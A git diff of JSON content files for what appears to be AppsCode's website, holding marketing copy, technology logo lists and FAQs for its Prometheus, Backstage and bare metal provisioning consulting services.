}, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Looking for Prometheus Commercial Support?", + "subtitle": "Consult our experts for an all-in-one solution from consulting and implementation to enterprise-grade 3rd party support.", + "buttons": [ + { + "text": "Consult a Prometheus Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why Appscode for Prometheus Consulting & Support?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Developers", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-briefcase", + "title": "Domain Expertise", + "description": "Delivering best practices from 100+ client implementations." + }, + { + "icon": "fa fa-trophy", + "title": "First Mover Advantage", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Training", + "description": "Hands-on training to build practical Prometheus expertise." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Scalable Teams", + "description": "Easily expand your team without hiring or training overhead." + } + ] + }, + "faq": [ + { + "question": "What do your Prometheus Consulting Services include?", + "answer": "Our Prometheus Consulting Services help organizations implement, configure, and optimize Prometheus for monitoring cloud-native applications and infrastructure. We cover metrics collection, alerting, query optimization, and integration with visualization tools like Grafana." + }, + { + "question": "Which technologies and practices are used in Prometheus consulting?", + "answer": "We leverage Prometheus, Alertmanager, Grafana, Kubernetes, OpenTelemetry, and cloud-native monitoring tools. Our approach ensures reliable metrics collection, accurate alerting, performance monitoring, and actionable insights across complex systems." + }, + { + "question": "Can you work with our existing monitoring infrastructure?", + "answer": "Yes — we integrate Prometheus with your current monitoring setup, optimize scraping intervals, configure alerts, set up Grafana dashboards, and provide guidance for continuous monitoring and observability improvement." + }, + { + "question": "What is the typical timeline and engagement model for Prometheus Consulting Services?", + "answer": "Engagements typically start with a 1–2 week assessment of your observability and monitoring architecture. Implementation follows in 2–6 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term Prometheus advisory partnerships." + }, + { + "question": "Do Prometheus Consulting Services support multi-cloud or hybrid environments?", + "answer": "Absolutely. Our services are designed for multi-cloud and hybrid environments, ensuring consistent metrics collection, alerting, and dashboards across AWS, Azure, GCP, and on-premises systems." + }, + { + "question": "How do you ensure reliability, scalability, and actionable monitoring with Prometheus?", + "answer": "We implement best practices for metric naming, retention policies, alerting rules, federation, and integration with visualization tools. These measures ensure reliable, scalable, and actionable monitoring of cloud-native workloads." + }, + { + "question": "What happens after Prometheus consulting and implementation?", + "answer": "After implementation, we provide ongoing support, monitoring guidance, dashboard maintenance, and recommendations for continuous improvement to ensure your Prometheus setup remains effective and up-to-date." + }, + { + "question": "How much do Prometheus Consulting Services cost, and what are the pricing models?", + "answer": "Pricing depends on system complexity, number of metrics, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ] +} diff --git a/data/services/platform-engineering/backstage_consulting.json b/data/services/platform-engineering/backstage_consulting.json index d304e7cf31..a8ba2414ce 100644 --- a/data/services/platform-engineering/backstage_consulting.json +++ b/data/services/platform-engineering/backstage_consulting.json @@ -1,356 +1,356 @@ -{ - "hero": { - "title": "Backstage Consulting & Enterprise Support Services", - "subtitle": "AppsCode delivers expert Backstage consulting and internal developer platform (IDP) services to enhance developer productivity and streamline workflows for organizations of all sizes.", - "cta_text": "SPEAK TO A BACKSTAGE EXPERT", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/backstage-consulting-hero.png", - "alt": "Backstage Consulting and Enterprise Support Illustration" - } - }, - "trusted_by": { - "title": "Trusted by Leading Global Enterprises" - }, - "cards_group": { - "title": "AppsCode AAA Framework for Backstage Consulting", - "models": [ - { - "number": "01", - "title": "ADOPT", - "description": "Assess your current tools, processes, and workflows using AppsCode’s Platform Engineering Assessment to define a high-impact Backstage adoption strategy." - }, - { - "number": "02", - "title": "ACCELERATE", - "description": "Focus on user engagement, platform usability, and adoption metrics to achieve internal product-market fit for developers." - }, - { - "number": "03", - "title": "ASSETS", - "description": "Scale Backstage best practices across teams, enabling consistent value delivery and efficient developer self-service organization-wide." - } - ] - }, - "title_with_small_cards": { - "title": "Why Choose Backstage Consulting & Support?", - "areas": [ - { - "icon": "fa fa-map-o", - "title": "Backstage Adoption Roadmap", - "description": "Actionable roadmap for smooth Backstage implementation across your organization." - }, - { - "icon": "fa fa-cogs", - "title": "Expert-Led Deployment", - "description": "Deployment guidance from experienced engineers to ensure production-ready Backstage instances." - }, - { - "icon": "fa fa-line-chart", - "title": "Boost Developer Productivity", - "description": "Optimize workflows and improve collaboration through IDP best practices." - }, - { - "icon": "fa fa-lightbulb-o", - "title": "Accelerate Development Practices", - "description": "Efficiently implement agile and DevOps principles within Backstage." - }, - { - "icon": "fa fa-tasks", - "title": "Workflow Optimization & Tool Integrations", - "description": "Integrate Backstage with existing tools to centralize software development processes." - }, - { - "icon": "fa fa-star-o", - "title": "Tailored & Custom Solutions", - "description": "Backstage configured and customized to meet your unique organizational requirements." - } - ] - }, - "service_details": { - "title": "Backstage Consulting & Support Services", - "subtitle": "Leverage AppsCode’s expertise to adopt, implement, and scale Backstage for your internal developer platform (IDP).", - "sections": [ - { - "title": "Backstage Consulting & Adoption Strategy", - "description": "We guide you through the entire Backstage adoption journey — from project scoping to onboarding your team. With experience in CNCF’s platform engineering maturity model, we know what it takes to build and deploy successful internal developer platforms.", - "offerings": [ - "Expert consulting for Backstage adoption, plugins, integrations, and workflow optimization tailored to your organization.", - "Dedicated roadmap creation to align Backstage with business objectives and developer productivity goals." - ], - "image": "/assets/images/services/backstage-consulting-and-adoption-strategy.png" - }, - { - "title": "Implement Production-Grade Backstage", - "description": "Deploy robust, production-ready Backstage instances to help teams focus on core business priorities and enhance internal developer experience.", - "offerings": [ - "Custom Backstage platform design to optimize collaboration and streamline software development workflows.", - "Infrastructure guidance covering dependencies, data models, security, monitoring, and compliance best practices." - ], - "image": "/assets/images/services/implement-production-grade-backstage.png" - }, - { - "title": "Integration with Tools & Workflows", - "description": "Connect Backstage with your existing software development tools and workflows to create a centralized developer hub.", - "offerings": [ - "Identify native Backstage capabilities and where custom integrations are required.", - "Seamlessly integrate Backstage with existing systems for efficient data flow and improved development efficiency." - ], - "image": "/assets/images/services/integration-with-tools-and-workflows.png" - }, - { - "title": "Backstage Support & Training", - "description": "Ensure your IDP remains productive with enterprise-grade support and training for your development teams.", - "offerings": [ - "Ongoing support to resolve issues and maintain smooth Backstage operations.", - "Training sessions and detailed documentation to maximize platform usage and developer adoption." - ], - "image": "/assets/images/services/backstage-support-and-training.png" - }, - { - "title": "Scalability Planning", - "description": "Prepare Backstage to handle increasing numbers of users, workflows, and plugins while maintaining optimal performance.", - "offerings": [ - "Develop plans to scale Backstage efficiently as your organization grows.", - "Ensure integrations, plugins, and workflows remain secure, compliant, and high-performing." - ], - "image": "/assets/images/services/scalability-planning.png" - }, - { - "title": "Security & Compliance Integration", - "description": "Embed industry-standard security and compliance practices directly into your Backstage platform.", - "offerings": [ - "Implement best practices for authentication, encryption, secure plugins, and password policies.", - "Maintain documented security and compliance procedures for team onboarding and audits." - ], - "image": "/assets/images/services/security-and-compliance-integration.png" - } - ] - }, - "industries": { - "title": "Industry Expertise in Backstage Consulting", - "subtitle": "With experience across 100+ clients, we address business-specific requirements, compliance, and operational challenges.", - "additional_text": "AppsCode’s Backstage solutions are scalable and adaptable for enterprises and startups alike.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Build compliant, highly available Backstage platforms for secure financial operations." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate AI and cloud-native solutions for high-performance developer platforms." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI/ML to enhance operational safety and software development workflows." - }, - { - "icon": "fa fa-plug", - "title": "Energy & Utilities", - "description": "Modernize platforms to optimize monitoring, inspections, and efficiency." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Utilize cloud GPU and high-speed processing for healthcare data and analytics." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver scalable, flexible, and efficient Backstage platforms for superior operations." - } - ] - }, - "tech_stack": { - "title": "Technical Expertise for Backstage", - "subtitle": "Hands-on experience with modern cloud-native technologies to build scalable and robust IDPs.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "cards": { - "title": "Why Choose AppsCode for Backstage Consulting?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Experts", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-briefcase", - "title": "Domain Expertise", - "description": "Implemented Backstage and IDP solutions for 100+ global clients." - }, - { - "icon": "fa fa-trophy", - "title": "First Mover Advantage", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Training & Enablement", - "description": "Practical knowledge transfer to upskill teams in Backstage and platform engineering." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-wrench", - "title": "Scalable Teams", - "description": "Quickly expand engineering resources without hiring delays." - } - ] - }, - "resources": { - "title": "Backstage & Platform Engineering Resources", - "items": [ - { - "type": "Blog", - "title": "Getting Started with Perses The Free, Open Source Grafana Alternative", - "image": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/hero_hu030f24f1ec9a9fe9c13de5ab0e9d783a_31026_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/" - }, - { - "type": "Blog", - "title": "Future-Proof Your Data Strategy - Why Kubernetes is the Engine Behind Stateful Workloads & Modern AI", - "image": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_254620_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/" - }, - { - "type": "Event", - "title": "KubeConNA Digest - Top Trends and Key Takeaways from This Year’s Event by AppsCode", - "image": "https://appscode.com/blog/post/kubecon-na-2024/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_69997_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/kubecon-na-2024/" - } - ] - }, - "faq": [ - { - "question": "What do your Backstage Consulting & Support Services include?", - "answer": "Our Backstage Consulting & Support Services cover the full lifecycle of building and maintaining cloud-native platforms: from opportunity discovery, MVP development, engineering, and DevOps practices to deployment, monitoring, and scaling. We focus on delivering reliable, secure, and high-performing systems that support your business goals." - }, - { - "question": "Which technologies and practices are used in your consulting and support services?", - "answer": "We leverage Kubernetes orchestration, microservices architecture, continuous delivery pipelines (CI/CD), automated testing, infrastructure as code, observability (monitoring/logging), and hybrid/multi-cloud deployment patterns. These practices ensure platform stability, scalability, and operational efficiency." - }, - { - "question": "Can you work with our existing product roadmap and technology stack?", - "answer": "Yes — we can integrate with your current roadmap and architecture. Our engineers refine your existing platform, lift it into a containerized, cloud-native, and production-ready form, or build new components from scratch as required." - }, - { - "question": "What is the typical timeline and engagement model for Backstage Consulting & Support Services?", - "answer": "We typically start with a 1–2 week discovery phase to align on goals, architecture, and MVP scope. Development continues in 4–8 week agile sprints. Engagement models include fixed-scope projects, time-and-materials with embedded engineers, or longer-term dedicated support partnerships." - }, - { - "question": "Do you support multi-cloud or hybrid cloud environments?", - "answer": "Absolutely. Our Backstage Consulting & Support Services are designed to be cloud-agnostic, ready to deploy on public clouds such as AWS, Azure, GCP, or on-premises Kubernetes clusters. This ensures portability, scalability, and operational consistency across environments." - }, - { - "question": "How do you ensure quality, security, and reliability in your services?", - "answer": "We ensure quality through automated testing, code reviews, and continuous integration. Security is baked in via container isolation, role-based access control (RBAC), secrets management, and vulnerability scanning. Reliability is maintained with production-grade patterns, monitoring, backup/recovery, and disaster resilience." - }, - { - "question": "What happens after deployment?", - "answer": "After launch, we help monitor performance, optimize infrastructure, and scale the system. Our Backstage Consulting & Support Services also include continuous improvements, automation, and tuning to ensure long-term reliability and operational efficiency." - }, - { - "question": "How much do Backstage Consulting & Support Services cost and what are the pricing models?", - "answer": "Pricing depends on project scope, complexity, number of teams, and ongoing support requirements. We offer flexible models such as fixed-price MVP builds, hourly or engagement-based workflows, and retainers for continuous consulting and platform support. A detailed proposal is provided after the discovery phase." - } - ], - "final_cta": { - "title": "Looking for Backstage Enterprise Support?", - "subtitle": "Consult our experts for strategy, design, integration, plugins, deployment, and ongoing support to fully leverage Backstage.", - "buttons": [ - { - "text": "Talk to a Backstage Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - } -} +{ + "hero": { + "title": "Backstage Consulting & Enterprise Support Services", + "subtitle": "AppsCode delivers expert Backstage consulting and internal developer platform (IDP) services to enhance developer productivity and streamline workflows for organizations of all sizes.", + "cta_text": "SPEAK TO A BACKSTAGE EXPERT", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/backstage-consulting-hero.png", + "alt": "Backstage Consulting and Enterprise Support Illustration" + } + }, + "trusted_by": { + "title": "Trusted by Leading Global Enterprises" + }, + "cards_group": { + "title": "AppsCode AAA Framework for Backstage Consulting", + "models": [ + { + "number": "01", + "title": "ADOPT", + "description": "Assess your current tools, processes, and workflows using AppsCode’s Platform Engineering Assessment to define a high-impact Backstage adoption strategy." + }, + { + "number": "02", + "title": "ACCELERATE", + "description": "Focus on user engagement, platform usability, and adoption metrics to achieve internal product-market fit for developers." + }, + { + "number": "03", + "title": "ASSETS", + "description": "Scale Backstage best practices across teams, enabling consistent value delivery and efficient developer self-service organization-wide." + } + ] + }, + "title_with_small_cards": { + "title": "Why Choose Backstage Consulting & Support?", + "areas": [ + { + "icon": "fa fa-map-o", + "title": "Backstage Adoption Roadmap", + "description": "Actionable roadmap for smooth Backstage implementation across your organization." + }, + { + "icon": "fa fa-cogs", + "title": "Expert-Led Deployment", + "description": "Deployment guidance from experienced engineers to ensure production-ready Backstage instances." + }, + { + "icon": "fa fa-line-chart", + "title": "Boost Developer Productivity", + "description": "Optimize workflows and improve collaboration through IDP best practices." + }, + { + "icon": "fa fa-lightbulb-o", + "title": "Accelerate Development Practices", + "description": "Efficiently implement agile and DevOps principles within Backstage." + }, + { + "icon": "fa fa-tasks", + "title": "Workflow Optimization & Tool Integrations", + "description": "Integrate Backstage with existing tools to centralize software development processes." + }, + { + "icon": "fa fa-star-o", + "title": "Tailored & Custom Solutions", + "description": "Backstage configured and customized to meet your unique organizational requirements." + } + ] + }, + "service_details": { + "title": "Backstage Consulting & Support Services", + "subtitle": "Leverage AppsCode’s expertise to adopt, implement, and scale Backstage for your internal developer platform (IDP).", + "sections": [ + { + "title": "Backstage Consulting & Adoption Strategy", + "description": "We guide you through the entire Backstage adoption journey — from project scoping to onboarding your team. With experience in CNCF’s platform engineering maturity model, we know what it takes to build and deploy successful internal developer platforms.", + "offerings": [ + "Expert consulting for Backstage adoption, plugins, integrations, and workflow optimization tailored to your organization.", + "Dedicated roadmap creation to align Backstage with business objectives and developer productivity goals." + ], + "image": "/assets/images/services/backstage-consulting-and-adoption-strategy.png" + }, + { + "title": "Implement Production-Grade Backstage", + "description": "Deploy robust, production-ready Backstage instances to help teams focus on core business priorities and enhance internal developer experience.", + "offerings": [ + "Custom Backstage platform design to optimize collaboration and streamline software development workflows.", + "Infrastructure guidance covering dependencies, data models, security, monitoring, and compliance best practices." + ], + "image": "/assets/images/services/implement-production-grade-backstage.png" + }, + { + "title": "Integration with Tools & Workflows", + "description": "Connect Backstage with your existing software development tools and workflows to create a centralized developer hub.", + "offerings": [ + "Identify native Backstage capabilities and where custom integrations are required.", + "Seamlessly integrate Backstage with existing systems for efficient data flow and improved development efficiency." + ], + "image": "/assets/images/services/integration-with-tools-and-workflows.png" + }, + { + "title": "Backstage Support & Training", + "description": "Ensure your IDP remains productive with enterprise-grade support and training for your development teams.", + "offerings": [ + "Ongoing support to resolve issues and maintain smooth Backstage operations.", + "Training sessions and detailed documentation to maximize platform usage and developer adoption." + ], + "image": "/assets/images/services/backstage-support-and-training.png" + }, + { + "title": "Scalability Planning", + "description": "Prepare Backstage to handle increasing numbers of users, workflows, and plugins while maintaining optimal performance.", + "offerings": [ + "Develop plans to scale Backstage efficiently as your organization grows.", + "Ensure integrations, plugins, and workflows remain secure, compliant, and high-performing." + ], + "image": "/assets/images/services/scalability-planning.png" + }, + { + "title": "Security & Compliance Integration", + "description": "Embed industry-standard security and compliance practices directly into your Backstage platform.", + "offerings": [ + "Implement best practices for authentication, encryption, secure plugins, and password policies.", + "Maintain documented security and compliance procedures for team onboarding and audits." + ], + "image": "/assets/images/services/security-and-compliance-integration.png" + } + ] + }, + "industries": { + "title": "Industry Expertise in Backstage Consulting", + "subtitle": "With experience across 100+ clients, we address business-specific requirements, compliance, and operational challenges.", + "additional_text": "AppsCode’s Backstage solutions are scalable and adaptable for enterprises and startups alike.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Build compliant, highly available Backstage platforms for secure financial operations." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate AI and cloud-native solutions for high-performance developer platforms." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI/ML to enhance operational safety and software development workflows." + }, + { + "icon": "fa fa-plug", + "title": "Energy & Utilities", + "description": "Modernize platforms to optimize monitoring, inspections, and efficiency." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Utilize cloud GPU and high-speed processing for healthcare data and analytics." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver scalable, flexible, and efficient Backstage platforms for superior operations." + } + ] + }, + "tech_stack": { + "title": "Technical Expertise for Backstage", + "subtitle": "Hands-on experience with modern cloud-native technologies to build scalable and robust IDPs.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "cards": { + "title": "Why Choose AppsCode for Backstage Consulting?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Experts", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-briefcase", + "title": "Domain Expertise", + "description": "Implemented Backstage and IDP solutions for 100+ global clients." + }, + { + "icon": "fa fa-trophy", + "title": "First Mover Advantage", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Training & Enablement", + "description": "Practical knowledge transfer to upskill teams in Backstage and platform engineering." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-wrench", + "title": "Scalable Teams", + "description": "Quickly expand engineering resources without hiring delays." + } + ] + }, + "resources": { + "title": "Backstage & Platform Engineering Resources", + "items": [ + { + "type": "Blog", + "title": "Getting Started with Perses The Free, Open Source Grafana Alternative", + "image": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/hero_hu030f24f1ec9a9fe9c13de5ab0e9d783a_31026_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/" + }, + { + "type": "Blog", + "title": "Future-Proof Your Data Strategy - Why Kubernetes is the Engine Behind Stateful Workloads & Modern AI", + "image": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_254620_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/" + }, + { + "type": "Event", + "title": "KubeConNA Digest - Top Trends and Key Takeaways from This Year’s Event by AppsCode", + "image": "https://appscode.com/blog/post/kubecon-na-2024/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_69997_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/kubecon-na-2024/" + } + ] + }, + "faq": [ + { + "question": "What do your Backstage Consulting & Support Services include?", + "answer": "Our Backstage Consulting & Support Services cover the full lifecycle of building and maintaining cloud-native platforms: from opportunity discovery, MVP development, engineering, and DevOps practices to deployment, monitoring, and scaling. We focus on delivering reliable, secure, and high-performing systems that support your business goals." + }, + { + "question": "Which technologies and practices are used in your consulting and support services?", + "answer": "We leverage Kubernetes orchestration, microservices architecture, continuous delivery pipelines (CI/CD), automated testing, infrastructure as code, observability (monitoring/logging), and hybrid/multi-cloud deployment patterns. These practices ensure platform stability, scalability, and operational efficiency." + }, + { + "question": "Can you work with our existing product roadmap and technology stack?", + "answer": "Yes — we can integrate with your current roadmap and architecture. Our engineers refine your existing platform, lift it into a containerized, cloud-native, and production-ready form, or build new components from scratch as required." + }, + { + "question": "What is the typical timeline and engagement model for Backstage Consulting & Support Services?", + "answer": "We typically start with a 1–2 week discovery phase to align on goals, architecture, and MVP scope. Development continues in 4–8 week agile sprints. Engagement models include fixed-scope projects, time-and-materials with embedded engineers, or longer-term dedicated support partnerships." + }, + { + "question": "Do you support multi-cloud or hybrid cloud environments?", + "answer": "Absolutely. Our Backstage Consulting & Support Services are designed to be cloud-agnostic, ready to deploy on public clouds such as AWS, Azure, GCP, or on-premises Kubernetes clusters. This ensures portability, scalability, and operational consistency across environments." + }, + { + "question": "How do you ensure quality, security, and reliability in your services?", + "answer": "We ensure quality through automated testing, code reviews, and continuous integration. Security is baked in via container isolation, role-based access control (RBAC), secrets management, and vulnerability scanning. Reliability is maintained with production-grade patterns, monitoring, backup/recovery, and disaster resilience." + }, + { + "question": "What happens after deployment?", + "answer": "After launch, we help monitor performance, optimize infrastructure, and scale the system. Our Backstage Consulting & Support Services also include continuous improvements, automation, and tuning to ensure long-term reliability and operational efficiency." + }, + { + "question": "How much do Backstage Consulting & Support Services cost and what are the pricing models?", + "answer": "Pricing depends on project scope, complexity, number of teams, and ongoing support requirements. We offer flexible models such as fixed-price MVP builds, hourly or engagement-based workflows, and retainers for continuous consulting and platform support. A detailed proposal is provided after the discovery phase." + } + ], + "final_cta": { + "title": "Looking for Backstage Enterprise Support?", + "subtitle": "Consult our experts for strategy, design, integration, plugins, deployment, and ongoing support to fully leverage Backstage.", + "buttons": [ + { + "text": "Talk to a Backstage Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + } +} diff --git a/data/services/platform-engineering/bare_metal_provisioning_consulting.json b/data/services/platform-engineering/bare_metal_provisioning_consulting.json index e94b14962c..15be435693 100644 --- a/data/services/platform-engineering/bare_metal_provisioning_consulting.json +++ b/data/services/platform-engineering/bare_metal_provisioning_consulting.json @@ -1,300 +1,300 @@ -{ - "hero": { - "title": "Expert Bare Metal Provisioning & On-Prem Infrastructure Consulting", - "subtitle": "Automate and optimize your on-premises infrastructure with our consulting, implementation, and enterprise-grade support services.", - "cta_text": "Talk to an Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/bare-metal-provisioning-consulting-hero.png", - "alt": "Bare Metal Provisioning Consulting Services" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Globally" - }, - "title_with_small_cards": { - "title": "Why Choose Bare Metal Provisioning Consulting?", - "areas": [ - { - "icon": "fa fa-rocket", - "title": "Accelerate On-Prem Infrastructure Provisioning" - }, - { - "icon": "fa fa-lock", - "title": "Secure & Cost-Efficient On-Prem Deployments" - }, - { - "icon": "fa fa-cubes", - "title": "Automated & Declarative Provisioning Workflows" - }, - { - "icon": "fa fa-lightbulb-o", - "title": "Best Practices from Infrastructure Experts" - }, - { - "icon": "fa fa-cogs", - "title": "Tailored Solutions for Your Organization" - }, - { - "icon": "fa fa-wrench", - "title": "Proven Architectures & Recommended Tools" - }, - { - "icon": "fa fa-users", - "title": "Scale Resources On Demand" - }, - { - "icon": "fa fa-gift", - "title": "Accelerators to Boost Productivity & Efficiency" - } - ] - }, - "service_details": { - "title": "Our Bare Metal Provisioning Services", - "subtitle": "Leverage our consulting expertise for seamless adoption and enterprise-grade implementation:", - "sections": [ - { - "title": "On-Prem Hardware to MaaS Consulting", - "description": "Optimize hardware provisioning and automate workflows for platform engineers and developers.", - "offerings": [ - "Expert Assessment: Evaluate your hardware environment and business requirements for automation readiness.", - "Collaborative Analysis: Design API-driven, automated provisioning with your IT and architecture teams.", - "Strategic Roadmap: Identify challenges, recommend tools, and deliver a roadmap aligned with your business goals." - ], - "image": "/assets/images/services/on-prem-hardware-to-maas-guidance.png" - }, - { - "title": "Custom OS Image Building & Verification", - "description": "Secure and reproducible OS images for multiple architectures with cross-vendor support.", - "offerings": [ - "Tailored Builds: Custom OS images with essential packages and artifacts included.", - "CI Pipelines: Reproducible and verifiable OS builds for production environments.", - "Cross-Vendor Distribution: Seamless deployment of OS images across your data centers." - ], - 